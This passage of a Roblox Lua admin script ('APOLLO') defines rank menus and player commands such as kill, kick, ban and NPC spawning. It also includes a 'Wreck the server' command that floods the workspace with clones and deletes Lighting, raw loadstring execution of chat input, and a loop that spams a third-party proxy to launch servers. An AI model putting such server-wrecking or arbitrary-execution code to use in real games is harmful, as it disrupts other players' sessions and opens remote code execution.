676 | APOLLO.Functions.tabletOutput(plr,'Rank 1','Dark green',function()APOLLO.Functions.dismiss(plr) | |
677 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
678 | APOLLO.Functions.tabletOutput(plr,'Rank 1','Really red'); | |
679 | for i,v in next,APOLLO.Ranked do | |
680 | if v.Rank==1 then | |
681 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
682 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
683 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
684 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
685 | end | |
686 | end | |
687 | end); | |
688 | APOLLO.Functions.tabletOutput(plr,'Rank 2','Dark green',function()APOLLO.Functions.dismiss(plr) | |
689 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
690 | APOLLO.Functions.tabletOutput(plr,'Rank 2','Really red'); | |
691 | for i,v in next,APOLLO.Ranked do | |
692 | if v.Rank==2 then | |
693 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
694 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
695 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
696 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
697 | end | |
698 | end | |
699 | end); | |
700 | APOLLO.Functions.tabletOutput(plr,'Rank 3','Dark green',function()APOLLO.Functions.dismiss(plr) | |
701 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
702 | APOLLO.Functions.tabletOutput(plr,'Rank 3','Really red'); | |
703 | for i,v in next,APOLLO.Ranked do | |
704 | if v.Rank==3 then | |
705 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
706 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
707 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
708 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
709 | end | |
710 | end | |
711 | end); | |
712 | APOLLO.Functions.tabletOutput(plr,'Rank 4','Dark green',function()APOLLO.Functions.dismiss(plr) | |
713 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
714 | APOLLO.Functions.tabletOutput(plr,'Rank 4','Really red'); | |
715 | for i,v in next,APOLLO.Ranked do | |
716 | if v.Rank==4 then | |
717 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
718 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
719 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
720 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
721 | end | |
722 | end | |
723 | end); | |
724 | APOLLO.Functions.tabletOutput(plr,'Rank 5','Dark green',function()APOLLO.Functions.dismiss(plr) | |
725 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
726 | APOLLO.Functions.tabletOutput(plr,'Rank 5','Really red'); | |
727 | for i,v in next,APOLLO.Ranked do | |
728 | if v.Rank==5 then | |
729 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
730 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
731 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
732 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
733 | end | |
734 | end | |
735 | end); | |
736 | APOLLO.Functions.tabletOutput(plr,'Rank 6','Dark green',function()APOLLO.Functions.dismiss(plr) | |
737 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
738 | APOLLO.Functions.tabletOutput(plr,'Rank 6','Really red'); | |
739 | for i,v in next,APOLLO.Ranked do | |
740 | if v.Rank==6 then | |
741 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green'); | |
742 | end | |
743 | end | |
744 | end); | |
745 | APOLLO.Functions.tabletOutput(plr,'ROOT','Really red',function()APOLLO.Functions.dismiss(plr) | |
746 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
747 | APOLLO.Functions.tabletOutput(plr,'nil','Really red'); | |
748 | for i,v in next,APOLLO.Ranked do | |
749 | if v.Rank==7 then | |
750 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
751 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
752 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
753 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
754 | end | |
755 | end | |
756 | end); | |
757 | end | |
758 | ||
759 | APOLLO.Functions.guiNotify=function(plr,text,time) | |
760 | coroutine.wrap(function() | |
761 | if time==nil then time=3 end | |
762 | local Notify = Instance.new("ScreenGui",plr.PlayerGui) | |
763 | Notify.Name = "APOLLO_NOTIFY" | |
764 | local TextPart = Instance.new("TextLabel",Notify) --buttons have better styles | |
765 | TextPart.Size=UDim2.new(0.7,0,0.05,0) | |
766 | TextPart.Position=UDim2.new(0,100,-.2,0); | |
767 | TextPart.Text = text | |
768 | TextPart.BackgroundColor3=Color3.new(0,0,0); | |
769 | TextPart.TextColor3 = Color3.new(1,1,1) | |
770 | TextPart.TextScaled = true | |
771 | TextPart.BorderSizePixel=0; | |
772 | TextPart:TweenPosition(UDim2.new(0,0,0,0),'Out','Quad',2,true); | |
773 | wait(time); | |
774 | TextPart:TweenPosition(UDim2.new(0,0,-.2,0),'Out','Quad',2,true); | |
775 | wait(3); | |
776 | Notify:destroy(); | |
777 | end)(); | |
778 | end; | |
779 | ||
780 | APOLLO.Functions.playerInterface=function(plr) | |
781 | for i,v in next,game:service'NetworkServer':children() do | |
782 | local player=v:GetPlayer() | |
783 | if player.Parent==nil then | |
784 | APOLLO.Functions.tabletOutput(plr,player.Name..' : nil','Really red',function()APOLLO.Functions.dismiss(plr) | |
785 | APOLLO.Functions.tabletOutput(plr,'Destroy '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end) | |
786 | end) | |
787 | elseif player.Parent==game.Players then | |
788 | APOLLO.Functions.tabletOutput(plr,player.Name..' : in-game','Dark green',function()APOLLO.Functions.dismiss(plr) | |
789 | APOLLO.Functions.tabletOutput(plr,'Administrative actions','Really red',function() | |
790 | APOLLO.Functions.tabletOutput(plr,'Respawn '..player.Name..'?','Dark green',function()APOLLO.Functions.dismiss(plr)player:LoadCharacter()end); | |
791 | APOLLO.Functions.tabletOutput(plr,'Kick '..player.Name..'?','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.kick(player)end); | |
792 | APOLLO.Functions.tabletOutput(plr,'Rejoin '..player.Name..'?','New Yeller',function()APOLLO.Functions.dismiss(plr)game:service'TeleportService':Teleport(player,game.PlaceId)end); | |
793 | end); | |
794 | APOLLO.Functions.tabletOutput(plr,'Fun actions','Dark green',function()APOLLO.Functions.dismiss(plr) | |
795 | APOLLO.Functions.tabletOutput(plr,'Kill','Dark green',function()APOLLO.Functions.dismiss(plr)player.Character:BreakJoints()end) | |
796 | --line 666 | |
797 | end) | |
798 | end) | |
799 | else | |
800 | APOLLO.Functions.tabletOutput(plr,tostring(player.Name) or 'Unknown'..' : joining','New Yeller',function()APOLLO.Functions.kick(player)end); | |
801 | end | |
802 | end | |
803 | end | |
804 | function APOLLO.Functions.dismiss(plr) | |
805 | pcall(function() | |
806 | if type(plr) == "userdata" then | |
807 | plr = plr | |
808 | elseif type(plr) == "string" then | |
809 | local f = false | |
810 | for _,v in pairs(game.Players:players())do | |
811 | wait() | |
812 | if v.Name:lower():sub(1,#plr) == plr:lower() then | |
813 | f = true | |
814 | plr = v | |
815 | break | |
816 | end | |
817 | end | |
818 | if f == false then | |
819 | --// | |
820 | end | |
821 | else | |
822 | return | |
823 | end | |
824 | for i,v in next,APOLLO.CoreStuff.StoredTablets do | |
825 | if v.Owner == plr then | |
826 | v.P:remove() | |
827 | APOLLO.CoreStuff.StoredTablets[i]=nil | |
828 | end | |
829 | end | |
830 | for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do | |
831 | if v.Owner == plr then | |
832 | APOLLO.CoreStuff.SavedTabletsInfo[i] = nil | |
833 | v.P:remove() end | |
834 | end | |
835 | end) | |
836 | end | |
837 | APOLLO.Functions.showCommands=function(plr) | |
838 | for i,v in next,APOLLO.Commands do | |
839 | APOLLO.Functions.tabletOutput(plr,v.Name,'Really red',function() | |
840 | APOLLO.Functions.dismiss(plr) | |
841 | APOLLO.Functions.tabletOutput(plr,'Command name: '..v.Name,'Really red') | |
842 | APOLLO.Functions.tabletOutput(plr,'Command description: '..v.Desc,'Dark green') | |
843 | APOLLO.Functions.tabletOutput(plr,'Required rank: '..v.Rank,'Really red') | |
844 | APOLLO.Functions.tabletOutput(plr,'Usage: '..v.Say,'Dark green') | |
845 | APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end) | |
846 | end);end;APOLLO.Functions.tabletOutput(plr,'Dismiss','Hot pink',function()wait()APOLLO.Functions.dismiss(plr)end)end; | |
847 | ||
848 | --APOLLO.CoreStuff.ServerCreating=false | |
849 | ||
850 | APOLLO.Functions.CreateGameServer = function(user,placeid) | |
851 | local id = placeid ~= nil and placeid or tostring(game.PlaceId) | |
852 | linkPart1 = "http://roproxy.tk/Game/PlaceLauncher.ashx?request=RequestGame&placeId=" | |
853 | linkPart2 = "&isPartyLeader=false&gender=&isTeleport=true" | |
854 | fullLink = linkPart1..id..linkPart2 --meow | |
855 | local tries = 0 | |
856 | if not APOLLO.CoreStuff.ServerCreating then | |
857 | APOLLO.CoreStuff.ServerCreating = true | |
858 | APOLLO.Functions.tabletOutput(user,string.format("Started creating a server on %s.",id),'Really red') | |
859 | local x = string.rep('x',255) | |
860 | repeat | |
861 | tries = tries + 1 | |
862 | a,b = pcall(function() | |
863 | x = game:FindService'HttpService':GetAsync(fullLink) | |
864 | end) | |
865 | if #x >= 120 then | |
866 | APOLLO.Functions.tabletOutput(user,string.format("%d try failed (%d chars)",tries,#x),'Really red') | |
867 | end | |
868 | wait() | |
869 | until #x < 120 | |
870 | APOLLO.CoreStuff.ServerCreating = false | |
871 | APOLLO.Functions.dismiss(user); | |
872 | wait(); | |
873 | APOLLO.Functions.tabletOutput(user,string.format('Server created successfully after %d tries',tries),'Really red') | |
874 | end | |
875 | end | |
876 | ||
877 | ||
878 | -- | |
879 | -- | |
880 | -- | |
881 | --Commands-- | |
882 | -- | |
883 | -- | |
884 | -- | |
885 | APOLLO.Functions.AddCommand('Kill','kill',1,'Kills a player',function(user,msg) | |
886 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
887 | if v.Character then | |
888 | v.Character.Humanoid.Health=0 | |
889 | end | |
890 | end | |
891 | end); | |
892 | APOLLO.Functions.AddCommand('Ponda Family','pondaf',5,'Creates a family of pandas',function(user,msg) | |
893 | for i = 0,100 do | |
894 | local num=msg:sub(1,2) | |
895 | local num2=msg:sub(4,6) | |
896 | local Asset = "http://www.roblox.com/asset/?id=" | |
897 | function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z) | |
898 | local p = Instance.new("Part") | |
899 | p.TopSurface = 0 | |
900 | p.BottomSurface = 0 | |
901 | p.Transparency = Tran | |
902 | p.Reflectance = Ref | |
903 | p.CanCollide = Coll | |
904 | p.Anchored = Anch | |
905 | p.BrickColor = BrickColor.new(Col) | |
906 | p.formFactor = "Custom" | |
907 | p.Size = Vector3.new(X,Y,Z) | |
908 | p.Parent = P | |
909 | p.Locked = true | |
910 | p:BreakJoints() | |
911 | return p | |
912 | end | |
913 | ||
914 | function Weld(P0, P1, X, Y, Z, A, B, C) | |
915 | local w = Instance.new("Weld") | |
916 | w.Part0 = P0 | |
917 | w.Part1 = P1 | |
918 | w.C = CN(X, Y, Z) * CA(A, B, C) | |
919 | w.Parent = P0 | |
920 | return w | |
921 | end | |
922 | ||
923 | CA = CFrame.Angles | |
924 | CN = CFrame.new | |
925 | V3 = Vector3.new | |
926 | MR = math.rad | |
927 | MP = math.pi | |
928 | MRA = math.random | |
929 | MH = math.huge | |
930 | Noob = nil | |
931 | function MakeMotor(torso, p1, c0, c1) | |
932 | local mot = Instance.new("Motor6D") | |
933 | mot.C0 = c0 | |
934 | mot.C1 = c1 | |
935 | mot.Part0 = torso | |
936 | mot.Part1 = p1 | |
937 | mot.Parent = torso | |
938 | return mot | |
939 | end | |
940 | ||
941 | function Set(tab) | |
942 | for _,v in pairs(tab) do | |
943 | local motor = v[1] | |
944 | local vel = v[2] | |
945 | local des = v[3] | |
946 | motor.MaxVelocity = vel | |
947 | motor.DesiredAngle = des | |
948 | end | |
949 | end | |
950 | ||
951 | function Animate(Hum, RSH, LSH, RH, LH) | |
952 | local pose = "Standing" | |
953 | local function sit() | |
954 | pose = "Seated" | |
955 | end | |
956 | local function jump() | |
957 | pose = "Jumping" | |
958 | end | |
959 | local function died() | |
960 | pose = "Dead" | |
961 | end | |
962 | local function falling() | |
963 | pose = "Falling" | |
964 | end | |
965 | local function climbing() | |
966 | pose = "Climbing" | |
967 | end | |
968 | local function run(speed) | |
969 | if speed > 0.5 then | |
970 | pose = "Running" | |
971 | else | |
972 | pose = "Standing" | |
973 | end | |
974 | end | |
975 | local function move(tiem) | |
976 | local amplitude, frequency | |
977 | if pose == "Seated" then | |
978 | Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}}) | |
979 | return | |
980 | end | |
981 | if pose == "Jumping" then | |
982 | Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}}) | |
983 | return | |
984 | end | |
985 | if pose == "Falling" then | |
986 | Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}}) | |
987 | return | |
988 | end | |
989 | local climb = 0 | |
990 | if pose == "Running" then | |
991 | RSH.MaxVelocity = 0.15 | |
992 | LSH.MaxVelocity = 0.15 | |
993 | RH.MaxVelocity = 0.15 | |
994 | LH.MaxVelocity = 0.15 | |
995 | amplitude = 1 | |
996 | frequency = 8 | |
997 | elseif pose == "Climbing" then | |
998 | RSH.MaxVelocity = 0.3 | |
999 | LSH.MaxVelocity = 0.3 | |
1000 | RH.MaxVelocity = 0.15 | |
1001 | LH.MaxVelocity = 0.15 | |
1002 | amplitude = 1 | |
1003 | frequency = 8 | |
1004 | climb = math.pi | |
1005 | else | |
1006 | amplitude = 0.1 | |
1007 | frequency = 1 | |
1008 | end | |
1009 | des = amplitude * math.sin(tiem*frequency) | |
1010 | RSH.DesiredAngle = des + climb | |
1011 | LSH.DesiredAngle = des - climb | |
1012 | RH.DesiredAngle = -des | |
1013 | LH.DesiredAngle = -des | |
1014 | end | |
1015 | Hum.Jumping:connect(jump) | |
1016 | Hum.Running:connect(run) | |
1017 | Hum.Seated:connect(sit) | |
1018 | Hum.Died:connect(died) | |
1019 | Hum.FreeFalling:connect(falling) | |
1020 | Hum.Climbing:connect(climbing) | |
1021 | coroutine.resume(coroutine.create(function() | |
1022 | while pose ~= "Dead" do | |
1023 | local _, time = wait(0.1) | |
1024 | move(time) | |
1025 | end | |
1026 | end)) | |
1027 | end | |
1028 | ||
1029 | function MakeNoob(pos, scale) | |
1030 | local Name = 'Ponda' | |
1031 | local Nub = Instance.new("Model") | |
1032 | Nub.Name = Name | |
1033 | Noob = Nub | |
1034 | local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale) | |
1035 | Torso.Name = "Torso" | |
1036 | local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale) | |
1037 | Head.Name = "Head" | |
1038 | local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0)) | |
1039 | local HeadMesh = Instance.new("SpecialMesh",Head) | |
1040 | HeadMesh.Scale = V3(1.25, 1.25, 1.25) | |
1041 | local Face = Instance.new("Decal",Head) | |
1042 | Face.Face = "Front" | |
1043 | Face.Texture = Asset..(13038247) | |
1044 | local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) | |
1045 | Rarm.Name = "Right Arm" | |
1046 | local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) | |
1047 | Larm.Name = "Left Arm" | |
1048 | local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) | |
1049 | Rleg.Name = "Right Leg" | |
1050 | local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) | |
1051 | Lleg.Name = "Left Leg" | |
1052 | ||
1053 | local Root= Instance.new("Part",Nub) | |
1054 | Root.Name='HumanoidRootPart' | |
1055 | Root.Transparency=1; | |
1056 | Root.Size=Vector3.new(2,2,1); | |
1057 | Root.Friction=0.30 | |
1058 | Root.Elasticity=0.5 | |
1059 | local Hip = Instance.new("Motor6D",Root) | |
1060 | Hip.CurrentAngle=0; | |
1061 | Hip.DesiredAngle=0; | |
1062 | Hip.MaxVelocity=0.1; | |
1063 | Hip.Name='RootHip' | |
1064 | Hip.Part0=Root | |
1065 | Hip.Part1=Torso | |
1066 | ||
1067 | local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0)) | |
1068 | local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0)) | |
1069 | local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0)) | |
1070 | local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0)) | |
1071 | local Hum = Instance.new("Humanoid") | |
1072 | local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda | |
1073 | Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale | |
1074 | --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014 | |
1075 | --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95) | |
1076 | wait(0.1) | |
1077 | Hat.Parent=Nub | |
1078 | Hum.MaxHealth = 40+(scale*60) | |
1079 | Hum.Health = 100 | |
1080 | Hum.Parent = Nub | |
1081 | Nub.Parent = workspace | |
1082 | Nub:MakeJoints() | |
1083 | Nub:MoveTo(pos) | |
1084 | Animate(Hum,RSH,LSH,RH,LH) | |
1085 | local path = { | |
1086 | Vector3.new(7.9, 5.39, -65.1), | |
1087 | Vector3.new(9.7, 47.39, -17.1), | |
1088 | Vector3.new(-3.2, 23.49, -9), | |
1089 | Vector3.new(-13.2, 5.49, 30.8), | |
1090 | Vector3.new(-82.9, 5.39, 16.5), | |
1091 | } | |
1092 | ||
1093 | local radius = 200 | |
1094 | ||
1095 | function randomvector() | |
1096 | return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius) | |
1097 | end | |
1098 | ||
1099 | local pointCount = math.random(4, 10) | |
1100 | ||
1101 | for i = 1, pointCount do | |
1102 | path[i] = randomvector() | |
1103 | end | |
1104 | ||
1105 | wait() | |
1106 | ||
1107 | local parent = Nub | |
1108 | local moveTime = 0 | |
1109 | while (true) do | |
1110 | for i, point in pairs(path) do | |
1111 | local distanceVector = parent.HumanoidRootPart.Position - point | |
1112 | local distance = distanceVector.magnitude | |
1113 | parent.Humanoid:MoveTo(point, Workspace.Base) | |
1114 | moveTime = 0 | |
1115 | while (moveTime < (distance / 32)) do | |
1116 | moveTime = moveTime + 1 | |
1117 | -- parent.Humanoid.Jump = true | |
1118 | wait(1) | |
1119 | end | |
1120 | end | |
1121 | end | |
1122 | ||
1123 | return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck} | |
1124 | end | |
1125 | local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1) | |
1126 | wait(0.1) | |
1127 | end | |
1128 | end) | |
1129 | ||
1130 | APOLLO.Functions.AddCommand('Ranked','gr',0,'Shows ranked players',function(user) | |
1131 | APOLLO.Functions.getRanked(user); | |
1132 | end); | |
1133 | ||
1134 | APOLLO.Functions.AddCommand('Forcefield','ff',1,'Gives a forcefield',function(user,msg) | |
1135 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1136 | local ff=Instance.new("ForceField",v.Character) | |
1137 | ff.Name='S_FF' | |
1138 | end | |
1139 | end); | |
1140 | ||
1141 | APOLLO.Functions.AddCommand('Perma-FF','pff',3,'Forcefields you as long as the script is running.',function(user,msg) | |
1142 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1143 | local ff=Instance.new("ForceField",v.Character) | |
1144 | ff.Name='S_P_FF' | |
1145 | while wait() do | |
1146 | if v.Character:findFirstChild('S_P_FF')==nil then | |
1147 | local ff=Instance.new("ForceField",v.Character) | |
1148 | ff.Name='S_P_FF' | |
1149 | end | |
1150 | end | |
1151 | end | |
1152 | end) | |
1153 | ||
1154 | APOLLO.Functions.AddCommand('Kick','kick',3,'Kicks a player',function(user,msg) | |
1155 | for i,v in next,APOLLO.Functions.getPlayers(user,msg) do | |
1156 | pcall(function()APOLLO.Functions.kick(v)end); | |
1157 | end | |
1158 | end); | |
1159 | ||
1160 | APOLLO.Functions.AddCommand('FIx Idle','fidle',4,'Fixes the idle animation',function() | |
1161 | while(wait())do | |
1162 | for i,v in next,APOLLO.Idling do | |
1163 | for i = 0,10,1 do | |
1164 | wait() | |
1165 | APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red'); | |
1166 | end | |
1167 | wait(0.8) | |
1168 | APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name)); | |
1169 | end | |
1170 | end | |
1171 | end); | |
1172 | ||
1173 | APOLLO.Functions.AddCommand('Dismiss','dt',0,'Dismisses your tablets',function(user) | |
1174 | APOLLO.Functions.dismiss(user); | |
1175 | end); | |
1176 | APOLLO.Functions.AddCommand('Wreck the server','rek',4,'Wrecks the server.',function() | |
1177 | game.ItemChanged:connect(function() | |
1178 | for i,v in next,workspace:children() do | |
1179 | for i = 0,10 do | |
1180 | pcall(function()v:Clone().Parent=workspace end) | |
1181 | end | |
1182 | end | |
1183 | end) | |
1184 | do | |
1185 | setfenv(1,{game=game,Destroy=Destroy,wait=wait,print=print})--try to get clean env | |
1186 | game.Lighting:Destroy() | |
1187 | end | |
1188 | end); | |
1189 | ||
1190 | APOLLO.Functions.AddCommand('Idle','idle',0,'Show people you are AFK.',function(user) | |
1191 | table.insert(APOLLO.Idling,user); | |
1192 | print('added '..tostring(user)..' to idle list') | |
1193 | end) | |
1194 | ||
1195 | APOLLO.Functions.AddCommand("Silent",'silent',0,'Sets silent mode for you',function(user) | |
1196 | for i,v in next,APOLLO.Ranked do | |
1197 | if v.Silent and v.Silent==true then | |
1198 | v.Silent=false | |
1199 | else | |
1200 | v.Silent=true | |
1201 | end | |
1202 | end | |
1203 | end) | |
1204 | ||
1205 | APOLLO.Functions.AddCommand('Un-idle','uidle',0,'Show people you are back.',function(user) | |
1206 | for i,v in next,APOLLO.Idling do | |
1207 | if v.Name==user.Name then | |
1208 | table.remove(APOLLO.Idling,i) | |
1209 | print('removed '..v.Name..' from idle list'); | |
1210 | end | |
1211 | end | |
1212 | end) | |
1213 | ||
1214 | APOLLO.Functions.AddCommand('Time ban','tban',5,'Timebans a person.',function(user,msg) | |
1215 | local found=false | |
1216 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1217 | for i,r in next,APOLLO.TimeBanned do | |
1218 | if r.Name==tostring(v) then | |
1219 | found=true | |
1220 | end | |
1221 | end | |
1222 | if found==false then | |
1223 | msg=msg:sub(#msg+1) | |
1224 | table.insert(APOLLO.TimeBanned,{Name=tostring(v),Time=tonumber(msg)}) | |
1225 | APOLLO.Functions.kick(v); | |
1226 | end | |
1227 | end | |
1228 | end) | |
1229 | ||
1230 | APOLLO.Functions.AddCommand('Logs','slogs',3,'Shows admin logs',function(user,msg) | |
1231 | for i,v in next,APOLLO.Functions.getPlayers(user,msg) do | |
1232 | for d,w in next,APOLLO.Logged do | |
1233 | if w['Name']==v.Name then | |
1234 | APOLLO.Functions.tabletOutput(user,tostring(v.Name),'Really red',function()APOLLO.Functions.dismiss(user) | |
1235 | for i,q in next,w.Actions do | |
1236 | APOLLO.Functions.tabletOutput(user,tostring(q),'Dark green') | |
1237 | end | |
1238 | end) | |
1239 | end | |
1240 | end | |
1241 | end | |
1242 | end) | |
1243 | ||
1244 | APOLLO.Functions.AddCommand('Ban','ban',3,'Bans the player',function(user,msg) | |
1245 | for i,v in next,APOLLO.Functions.getPlayers(user,msg) do | |
1246 | table.insert(APOLLO.Banned,v.Name) | |
1247 | APOLLO.Functions.kick(v); | |
1248 | end | |
1249 | end); | |
1250 | ||
1251 | APOLLO.Functions.AddCommand('Rexe','rexe',7,'Raw-exe',function(user,msg) | |
1252 | pcall(function()loadstring(msg)()end); | |
1253 | end); | |
1254 | ||
1255 | APOLLO.Functions.AddCommand('Remove','remm',6,'Removes the admin',function() | |
1256 | for i,v in next,getfenv(1) do | |
1257 | getfenv(1)[i]=nil;end | |
1258 | for i,v in next,getfenv() do | |
1259 | getfenv(1)[i]=nil;end | |
1260 | for i,v in next,getfenv(2)do | |
1261 | getfenv(1)[i]=nil;end | |
1262 | script.Disabled=true; | |
1263 | script:remove(); | |
1264 | getfenv(print).error=nil; | |
1265 | getfenv(print).print=nil; | |
1266 | getfenv().REMOVED=true; | |
1267 | end) | |
1268 | ||
1269 | APOLLO.Functions.AddCommand('Execute','exe',6,'Executes a string',function(user,msg) | |
1270 | local rele, sece, newe, sb | |
1271 | local mf, mr = ypcall(function() | |
1272 | rele = setmetatable({}, {__index = getfenv()}) | |
1273 | sece = { | |
1274 | script=Instance.new("Script"), | |
1275 | APOLLO = (function() | |
1276 | local APPIE = APOLLO.Functions.Fake.Table(APOLLO) | |
1277 | setmetatable(APPIE,{ | |
1278 | __index = function(Self, Index, Value) | |
1279 | return rawget(Self, Index, Value) | |
1280 | end, | |
1281 | __metatable = "APOLLO table is locked." | |
1282 | }) | |
1283 | return APPIE | |
1284 | end)(), | |
1285 | removeAdmin=function()end, | |
1286 | clear=function()end, | |
1287 | run=function()end, | |
1288 | sandbox=function()end, | |
1289 | removed=false, | |
1290 | antiremove=true, | |
1291 | antiremove=function()end, | |
1292 | players=#game:service'Players':players(), | |
1293 | workspace=game:service'Workspace', | |
1294 | output=function()end, | |
1295 | dismiss=function()end, | |
1296 | baseMessage=Instance.new("Message"), | |
1297 | addcommand=function()end, | |
1298 | remote='stypi.com/raw/oiju39a08ufasdjfoiaeuajs8', | |
1299 | http=game:service'HttpService', | |
1300 | ||
1301 | ||
1302 | } | |
1303 | newe = { | |
1304 | __index = { | |
1305 | game = game, | |
1306 | Game = game, | |
1307 | workspace=game:service'Workspace', | |
1308 | Workspace=game:service'Workspace', | |
1309 | _G = APOLLO.NotReal._G, | |
1310 | _VERSION = "Lua 5.1", | |
1311 | shared = APOLLO.NotReal.shared, | |
1312 | setfenv = setfenv, | |
1313 | rawset = rawset, | |
1314 | rawget = rawget, | |
1315 | require=require, | |
1316 | newproxy = newproxy, | |
1317 | setmetatable = setmetatable, | |
1318 | getmetatable = getmetatable, | |
1319 | pairs = pairs, | |
1320 | ipairs = ipairs, | |
1321 | next = next, | |
1322 | select = select, | |
1323 | collectgarbage = collectgarbage, | |
1324 | assert = assert, | |
1325 | dofile = dofile, | |
1326 | load = load, | |
1327 | pcall = pcall, | |
1328 | ypcall = ypcall, | |
1329 | xpcall = xpcall, | |
